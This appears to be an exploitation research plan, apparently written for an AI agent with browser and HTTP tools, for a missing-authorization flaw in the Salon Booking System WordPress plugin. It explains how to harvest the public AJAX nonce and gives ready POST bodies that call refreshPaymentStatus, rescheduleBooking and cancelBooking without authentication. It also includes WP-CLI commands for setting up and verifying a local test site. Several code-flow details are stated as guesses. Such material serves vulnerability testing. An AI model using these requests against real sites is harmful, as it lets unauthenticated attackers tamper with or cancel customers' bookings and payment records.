Salon Booking System – Free Version <= 10.30.25 - Missing Authorization

This research plan outlines the steps to exploit CVE-2026-42666, a Missing Authorization vulnerability in the Salon Booking System plugin.

The vulnerability likely resides in a central AJAX dispatcher (action salon) where specific methods, such as refreshPaymentStatus, fail to implement capability checks, allowing unauthenticated users to modify booking states.

1. Vulnerability Summary

• Vulnerability: Missing Authorization (Missing Capability Check).
• Affected Action: wp_ajax_salon and wp_ajax_nopriv_salon.
• Vulnerable Component: The internal AJAX handler for the salon action, specifically the refreshPaymentStatus method (and potentially others like rescheduleBooking).
• Reason: The plugin uses a single AJAX entry point and routes requests to methods based on a method parameter. While some methods may require a nonce, the plugin fails to verify if the requester has the appropriate permissions (e.g., current_user_can('manage_options')) before executing privileged actions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Authentication: Unauthenticated (leveraging wp_ajax_nopriv_salon).
• Action: salon
• Payload Parameters:
  • action: salon
  • method: refreshPaymentStatus (Target method identified in js/admin/customBookingUser.js)
  • booking_id: The ID of the booking to target.
  • nonce: A valid WordPress nonce for the salon action.
• Preconditions: A booking must exist in the system.

3. Code Flow

1. Entry Point: The attacker sends a POST request to admin-ajax.php with action=salon.
2. Dispatcher: The plugin's AJAX handler (likely in src/SLN/Action/Ajax.php or similar) receives the request.
3. Method Routing: The handler reads $_POST['method'] (e.g., "refreshPaymentStatus").
4. Security Check (Weak): The handler may check a nonce using check_ajax_referer('salon', 'security') or wp_verify_nonce($_POST['nonce'], 'salon').
5. Authorization Failure: The code proceeds to call the target method without checking current_user_can().
6. Sink: The refreshPaymentStatus method executes, communicating with external gateways (Stripe/PayPal) and updating the _sln_payment_status meta or internal database state.

4. Nonce Acquisition Strategy

The plugin enqueues a salon object in the frontend containing the necessary nonce.

1. Identify Shortcode: The plugin uses [salonbooking] to display the booking form.
2. Create Page: Create a public page containing this shortcode to ensure the scripts and nonces are loaded.
3. Navigate: Use browser_navigate to visit the page.
4. Extract Nonce: Use browser_eval to extract the nonce from the global salon object.
   • JS Variable: window.salon
   • Nonce Key: ajax_nonce
   • Command: browser_eval("window.salon?.ajax_nonce")

5. Exploitation Strategy

1. Preparation: Create a service and a test booking to obtain a valid booking_id.
2. Nonce Harvest: Extract the ajax_nonce using the browser tool.
3. Execution: Use http_request to trigger the refreshPaymentStatus method.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=salon&method=refreshPaymentStatus&booking_id=[BOOKING_ID]&nonce=[NONCE]
     

4. Alternative Method: If refreshPaymentStatus is restricted, attempt rescheduleBooking which is also part of the salon action (identified in js/salon-my-account.js).
   • Body:

     action=salon&method=rescheduleBooking&_sln_booking_id=[BOOKING_ID]&_sln_booking_date=2026-01-01&_sln_booking_time=10:00&nonce=[NONCE]
     

6. Test Data Setup

1. Create Service:

   wp post create --post_type=sln_service --post_title="Audit Service" --post_status=publish
   

2. Create Booking:

   # Use the plugin's internal meta to simulate a booking
   wp post create --post_type=sln_booking --post_title="Target Booking" --post_status=publish
   

3. Setup Nonce Page:

   wp post create --post_type=page --post_title="Booking Page" --post_content='[salonbooking]' --post_status=publish
   

7. Expected Results

• The server returns a JSON response (e.g., {"success": true, "message": "..."}).
• The booking's internal state or "Payment Status" is updated in the database.
• No "403 Forbidden" or "Insufficient Permissions" errors are returned, despite the request being unauthenticated.

8. Verification Steps

1. Check Booking Meta: Verify if the payment status or modified date changed.

   wp post meta list [BOOKING_ID]
   

2. Check Status: Observe the post status or specific Salon-specific meta keys (e.g., _sln_payment_status).

   wp post get [BOOKING_ID] --field=post_modified
   

9. Alternative Approaches

• Action salon_discount: Attempt the same pattern with action=salon_discount and method=applyDiscountCode (from js/discount/salon-discount.js).
• Action salon + method=cancelBooking: If the CVSS A:N (No Availability impact) is inaccurate in the report, this is a likely high-impact alternative.
  • Payload: action=salon&method=cancelBooking&id=[BOOKING_ID]&security=[NONCE] (Note the parameter name change to security based on js/salon-my-account.js line 34).